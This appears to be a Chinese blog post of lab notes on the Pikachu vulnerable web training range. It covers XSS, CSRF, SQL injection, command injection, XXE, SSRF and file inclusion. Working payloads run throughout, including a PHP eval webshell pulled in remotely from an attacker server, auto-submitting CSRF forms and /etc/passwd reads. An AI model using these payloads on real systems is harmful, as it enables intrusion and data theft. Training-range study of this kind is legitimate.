pikachu靶场测试日志

爆破

没有验证码的普通爆破很简单,BP抓一下包,扔到重放器里选择一下攻击模式,一般是狙击手(单点爆破)或者集束炸弹(排列组合),需要积累一定的弱口令库

有些服务端验证码虽然有但是校验后忘记核销了,导致验证码一直有效

有些验证码直接在客户端的js源码里生成并做校验,等同于没有

一切在前端做的校验工作都是纸老虎,并且后端的校验工作也要逻辑自洽

1
<input type="hidden" name="token" value="3144569dcdccfa0828793227669" />

有的前端会做token防爆破,有点类似于cookie

发送post请求的时候会带上这个token到后端做校验,但是这个token其实很容易通过抓包或者直接查看网页源码拿到,可以直接利用一些自动化脚本直接抓

其实,我觉得爆破这个方法不是很实用,如果遇到了做的比较好的人机验证,验证码校验,实际上成功的机率比较低,并且现在都会强制要求设置比较复杂的密码,就算能过了校验这一关,也未必能在验证码有效期内把密码爆破出来

但是爆破体现的fuzz这个思想会更多地用在一些目录扫描

XSS

反射型GET

前端用表单通过get请求发给后端,但是这个get请求里的文本被偷懒没有转义直接拼接到后端php代码里,然后再返回给前端渲染,浏览器在识别到这段js代码后就会认为是后端传来的正常代码然后执行,造成反射型XSS,

1
$html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";

反射型POST

这个与GET同理都是后端直接拼接前端传参造成的

1
$html.="<p class='notice'>who is {$_POST['message']},i don't care!</p>";

反射型XSS危害比较小,反射嘛,就是反射回来作用于自己,主要是构造一些钓鱼链接获取cookie啥的

存储型XSS

危害最大的一种XSS,前端提交的js脚本未经转义被直接存到后端的数据库里,每次刷新页面时,后端回显数据库内容到前端浏览器时都会触发,危害极大

DOM型XSS

1
2
3
4
5
6
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
</script>

这个str是从html的DOM树上获取的元素,然后被直接拼接到下面的a标签里,虽然用了引号,但是可以通过闭合引号的方式来构造payload

1
2
'><img src="#" onmouseover="alert('xss')">
' onclick="alert('xss')">

DOM操作本质上是从前端的html直接获取元素,但是你无法知道前端用户会在html里搞什么小动作,所以不能直接进行拼接

要说DOM型XSS是鸡肋倒也没问题,因为他不和后端进行交互,能在前端做的事情也有限,但是DOM型xss可以作为一种辅助手段窃取到目标的cookie,token完成跨站请求

XSS过滤

这种过滤还是比较低级的,整了一个黑名单,过滤了一下尖括号,斜杠,script啥的,但是收效甚微,这些是可以通过大小写规避的,js脚本不区分大小写,但是在后台写过滤逻辑的时候是要明确大小写的

htmlspecialchars

这个函数会过滤掉html里的危险字符<>””&之类的,确实可以把前端传的东西强行转成文本,不会被识别为js脚本

实际测试中的表现为输入的payload被全部打印出来,这时候就可以考虑是不是用了这个函数来防XSS

但是这个函数不能用在需要将用户输入内容拼接到js代码里执行的情况,因为这个函数只是专门在html方面的过滤,无法过滤js中的危险字符,只能防标签型XSS

1
2
$html2.="<a href='{$message}'>{$message}</a>";
' onclick='alert(ciallo)'//

后面多余的代码可以直接注释掉,即使a标签残缺依旧能跑,html的宽容度极高

Javascript协议

href标签里的超链接支持直接执行js脚本造成穿透,hsc转义也没用

1
<a href='javascript:alert('ciallo')'></a>

点击这个连接就会直接触发里面的js脚本造成XSS

js上下文

当用户输入的内容需要直接被拼接到js代码里执行的时候就进入了js上下文

1
2
3
4
5
6
7
8
<?php
// 用户输入
$msg = $_GET['msg'];
$msg = htmlspecialchars($msg, ENT_QUOTES);
?>
<script>
var data = "<?php echo $msg; ?>";
</script>
1
2
\';alert(1);//
var data = "\';alert(1);//";//被打穿了,嘻嘻骗你的根本打不穿

开了hsc后会转义所有引号,没有办法做到闭合前面一个引号,\转义也没有用,只有在没有进行hsc过滤的时候可以使用js上下文,

但是会有强烈的副作用,比如输入中文和符号会变成乱码回显导致功能崩溃

总结

普通标签内部的XSS直接构造就行,没啥好说的

标签内部带引号的,js上下文但是没有上hsc转义的,直接闭合也可以

上了hsc基本上就打不穿了,除了没有做协议校验的href的js协议穿透,但是这个方法危害比较大,容易中文和符合无法正常显示

越权

URL中的?用来分隔路径和参数区

URL传参本质就是客户端传参调用后端的php函数完成对应的操作(存在水平越权漏洞如将传参时的?id=64修改为?id=1)这玩意一般会在href标签里面传参的时候直接调用的,没有做过滤或隐藏

垂直越权本质也差不多,但是垂直越权要难一些,水平越权可以通过已有的href标签来直接进行传参,但是垂直越权时对应高权限的href和已经拿到的href标签会长得不一样需要进行构造或者爆破,这个构造和爆破的过程是难点,需要一定的积累

PHP反序列化漏洞

这个原理是利用的php反序列化还原对象时会自动调用对象里的魔法函数,然后自动执行对象里的php代码,此时就构成了php反序列化漏洞,这时可以将构造一个带有恶意脚本的对象,然后序列化传入php文件中,传入后php文件会自动进行反序列化还原对象,对象被创建,当执行魔法函数时恶意代码被执行

1
2
3
4
5
6
7
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;//回显到前端的html,这个可以利用js代码
}
}
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

CSRF

原理就是利用目标已经登陆过的网站的cookie或其他认证凭证,诱导目标点击构造的表单或者xss网站达到修改目标信息的目的

出现该漏洞的原因是浏览器自动带cookie(先天缺陷)和服务器校验不完备,只认cookie不认人

GET

1
http://192.168.111.128/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=15988767673&add=nba lakes&email=kobe@pikachu.com&submit=submit

get类型利用比较简单,只要目标在登陆状态,点击该url后会提交get请求和cookie完成篡改

POST

1
2
3
4
5
6
<form action="http://192.168.111.128/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" method="POST" id="hack">
<input name="sex" value="man">
<input name="phonenum" value="15988767673">
<input name="submit" value="submit">
</form>
<script>document.getElementById('hack').submit();</script>

post类型利用较为复杂,需要抓包分析提交的表单内容,抓到后便可以构造一个表单诱导目标点击完成篡改

Token

后端调用set_token()生成一个token嵌入用户的session中,每次发送请求的时候都要携带这个token到后端进行校验,达到防止跨站请求的目的

1
2
3
<script>
var token=document.getElementByName("token")[0].value;
</script>

要想获取到token有一定难度,由于token只发送到目标的浏览器,攻击者要想拿到token可以通过DOM型xss窃取到目标页面DOM树里的token,完成攻击

会话层校验技术

cookie存在浏览器里,session存在服务器里,cookie相当于身份证,session相当于档案本,上网时浏览器拿着cookie到session那里去校验

但是一旦服务器多起来,访问不同的服务器时都需要到存放session的那台服务器里去校验,会大大降低效率

token

token相当于服务器发给你的一张做了防伪的证书,全服务器通用,可以进行无状态登录

RCE

rce全名远程命令执行漏洞,原理是服务器提供接口给外界使用对应cmd命令时没有做转义,导致拼接一些bash命令可以被执行,造成信息泄露,从原理上看类似xss和sql-inject

ping

1
ping 127.0.0.1 & ipconfig

这种情况用白名单就可以避免

eval

eval()是php里的一个魔法函数,其作用是将括号里的字符串当作php代码执行,此时便会造成rce,只要上传的字符串语法是正确的,就可以被识别并执行,造成数据泄露

1
2
3
4
5
6
if(isset($_POST['submit']) && $_POST['txt'] != null){
if(@!eval($_POST['txt'])){
$html.="<p>你喜欢的字符还挺奇怪的!</p>";
}
}
echo "<script>alert('ciallo')</script>";//payload

文件包含漏洞

LFI

本地文件包含漏洞是因为include()函数后端没有过滤,直接拼接前端GET的传参,这个时候就会有本地文件包含漏洞,可以在include()函数里包含服务器内任意文件从而窃取敏感内容

1
2
3
4
5
if(isset($_GET['submit']) && $_GET['filename']!=null)
{
$filename=$_GET['filename'];
include "include/$filename";//变量传进来直接包含,没做任何的安全限制
}

LFI通常会和文件遍历结合起来使用,利用../进行目录跳转

1
http://192.168.111.128/pikachu-master/vul/fileinclude/fi_local.php?filename=../../../README.md&submit=submit

RFI

远程文件包含漏洞,后端开启了远程URL文件包含,但是依旧没有做过滤,导致可以通过攻击者自己搭建的服务器上传恶意文件,比如一句马

1
<?php eval($_POST[cmd]);?>

这个shell.php存在攻击者的服务器上,然后利用目标的远程URL包含把这个一句马上传

1
http://192.168.111.128/pikachu-master/vul/fileinclude/fi_remote.php?filename=http://192.168.111.127/shell.php&submit=submit

通用方法

1
2
data://text/plain,<?php phpinfo();?>
<?php echo "<script>alert('ciallo')</script>";

这个data://text/plain,的意思是把后面的看作可包含的文件执行,更加简单和通用,LFI和RFI都适用

遍历漏洞

这个没啥好讲的,和文件包含漏洞类似,都是后端没过滤../导致的,可以通过../跳转至任意目录,与其说是漏洞,不如说是一种方法,可以通过目录跳转获取到更多信息,也是LFI的理论基础

具体跳到哪个目录可以使用自动化的爆破工具,遍历出有哪些目录

不安全的文件下载

感觉这个也没啥好讲的,原理和前两个都差不多,都是没做校验,但是这个只能做到下载服务器的本地文件获取信息,没办法直接拿到权限

1
http://192.168.111.128/pikachu-master/vul/unsafedownload/execdownload.php?filename=../../../README.md

不安全的文件上传

这种漏洞利用比较麻烦,需要用到bp进行抓包修改报文绕过校验

敏感信息泄露

通过访问url下的目录,可以直接列出目录下的文件列表,目录遍历爆破
输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息
前端的源码里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等(是故意的还是不小心的)

XXE

xml也是一种可扩展的标记语言,与html类似,但是html的标签不能自定义,而xml的标签可以自定义,并且xml还具有一项自带功能,即实体引用,将一段内容起个别名然后引用调用

开发者没有关闭自动实体引用功能便会出现这个漏洞

1
2
3
<?xml version="1.0"?>//xml声明头
<!DOCTYPE test [<!ENTITY msg "XXE">]>
<user>&msg;</user>//调用实体,回显出XXE

DOCTYPE意思是自定义实体,test是自定义名称,ENTITY msg意思是定义了一个名称为msg的实体

1
2
3
4
5
6
$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);//未经转义直接调用
if($data){
$html.="<pre>{$data}</pre>";
}else{
$html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
}

URL重定向

依旧拼接大法,依旧后端没过滤,感觉好多漏洞都是这个原因

1
http://192.168.111.128/pikachu-master/vul/urlredirect/urlredirect.php?url=https://www.baidu.com

没啥好讲的,给php传参的时候拼接了一个url,后台没过滤,导致跳转到其他网站,用处有限,只能钓钓鱼啥的

SSRF

curl

服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

后台使用了curl_exec()函数将前端传入的地址直接使用并发送网络请求

1
2
3
4
5
http://192.168.111.128/pikachu-master/vul/ssrf/ssrf_curl.php?url=
//payload:
//file:///etc/passwd 读取本地文件,可结合目录遍历
//http://127.0.0.1 选择合适的地址可以做到访问内网
//gopher:// 万能协议,可构造自定义TCP报文,杀伤力最强

file_get_content

这个函数相当于curl_exec()的青春版,支持的协议更少,仅支持访问本地文件和网络协议,但是网络协议的访问还依赖php配置,可操作性不如curl

这些获取本地文件的操作与之前的遍历漏洞完全不一样,只是表现形式相似,之前的遍历漏洞是直接跳转访问服务器上的本地文件,而ssrf的file协议是服务器代替攻击者发送了一个本地文件请求协议,是一种伪造请求

SQL-INJECT

数字型post

post请求要用到抓包工具,没法直接利用,查询数据库时使用联合查询将数据库遍历

1
1 or 1=1//恒成立导致数据库被遍历

字符型get

get请求就可以直接在浏览器的url地址栏操作

字符型意思是查询时变量被引号引起来,无法直接联合查询,需要先进行引号闭合再进行联合查询

1
select * from user where username='admin' or 1=1#'

有的时候是双引号闭合

搜索型

sql中模糊匹配时需要用到%

1
select username,id,email from member where username like '%$name%'

这时就需要闭合掉%完成联合查询

1
'admin' or 1=1 #

注释可以使用#,–,-

彩蛋xss

1
$html2.="<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />";

这里的name传参没有做任何转义,因此就会存在xss,但是由于上一步是sql的联合查询,直接输入payload会出现多个单引号使sql崩溃,因此需要一定的注释语法绕过语法检查

1
kobe'#<script>alert('ciallo')</script>

xx型

1
('kobe') or 1=1 #

另类的闭合方式,闭合括号

INSERT注入

这个利用过程比较难,主要还是闭合,但是获取信息要依靠返回的报错信息

1
'admin' or updatexml(1,concat(0x7e,database()),1) or ''//爆当前数据库名

这个or ‘是为了闭合后一个引号

1
updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)//爆当前库的所有表名

delete注入

依旧拼接导致联合删除

1
2
delete from message where id={$_GET['id']}
1 or 1=1//不用管大括号

http header注入

老毛病,依旧拼接注入,但是这个漏洞比较隐蔽,藏在http报头里面,而且后端通常会不留意过滤报头,因此这个漏洞存在的概率还比较大

1
2
3
GET /pikachu-master/vul/sqli/sqli_header/sqli_header.php HTTP/1.1
Host: 192.168.111.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0 ' or updatexml(1,contact(0x7e,database()),1) or '

利用bp在报头里添加payload构造闭合完成攻击

布尔盲注

感觉这个漏洞像是那种做了防御措施但是没做全,依旧没转义,存在注入点,但是和普通的注入又不太一样

这种漏洞不会回显,既没有union联合注入,也没有抛出错误,并且开发者使用逻辑判断使得页面只会存在对与错两种状态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if(isset($_GET['submit']) && $_GET['name']!=null){
$name=$_GET['name'];
$query="select id,email from member where username='$name'";
$result=mysqli_query($link, $query);
if($result && mysqli_num_rows($result)==1)//只有在数据存在且返回数据只有一条的时候才会回显
{
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
}
}else
{
$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";//这个就是布尔盲注
}
}

此时只能使用and和二分法进行筛查

返回正确页面

1
'admin' and 1=1 #

返回错误页面

1
'admin' and 1=2 #

建议使用sqlmap爆破处理

时间盲注

最难利用的漏洞,感觉这个开发者是故意恶心人的,明明存在注入点,但是却因为写法问题导致页面回显毫无变化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if($result && mysqli_num_rows($result)==1)
{
while($data=mysqli_fetch_assoc($result))
{
$id=$data['id'];
$email=$data['email'];
//这里不管输入啥,返回的都是一样的信息,所以更加不好判断
$html.="<p class='notice'>i don't care who you are!</p>";
}
}
else
{
$html.="<p class='notice'>i don't care who you are!</p>";
}

这种情况下只能利用时间延迟来判断语句的正确性

1
2
'admin' and if (1=2,sleep(3),1) #条件为假,秒开
'admin' and if (1=1,sleep(3),1) #条件为真,延迟三秒

这种注入不仅难判断而且还耗时,只能交给sqlmap

宽字节注入

php开启了addslashes()会自动将输入的’’, “”,,%前面加\锁死导致无法完成闭合

但是数据库的编码设置为GBK,其特性是两个字符只要第一个字符大于0x80就会自动和后一位合并解析生成一位中文乱码,达到逃逸闭合的效果

需要注意的是,%df是url编码,需要使用bp在post请求中修改才能生效绕过单引号转义

1
'%df' or 1=1 #

在前面任何注入payload都无效的情况下就要考虑后端是不是做了一定的转义

PS

数据库的存储流程,前端html文件传数据到后端被对应的php文件接收,后端的php文件会先使用connect()自定义函数建立与数据库的连接,生成一个句柄$link,然后这个php文件就负责把从前端接收到的数据通过句柄传到另外一个控制存储数据逻辑的php文件,通过这个php文件里的sql语句把数据存进数据库

感想

整个靶场就体现了一种思想,拼接注入,这些漏洞的利用方式大多数都是构造拼接语句让目标浏览器也好,目标服务器也好能够自动识别并执行,攻击也就完成了


http://example.com/2026/05/19/靶场日志/pikachu日志/
作者
John Doe
发布于
2026年5月19日
许可协议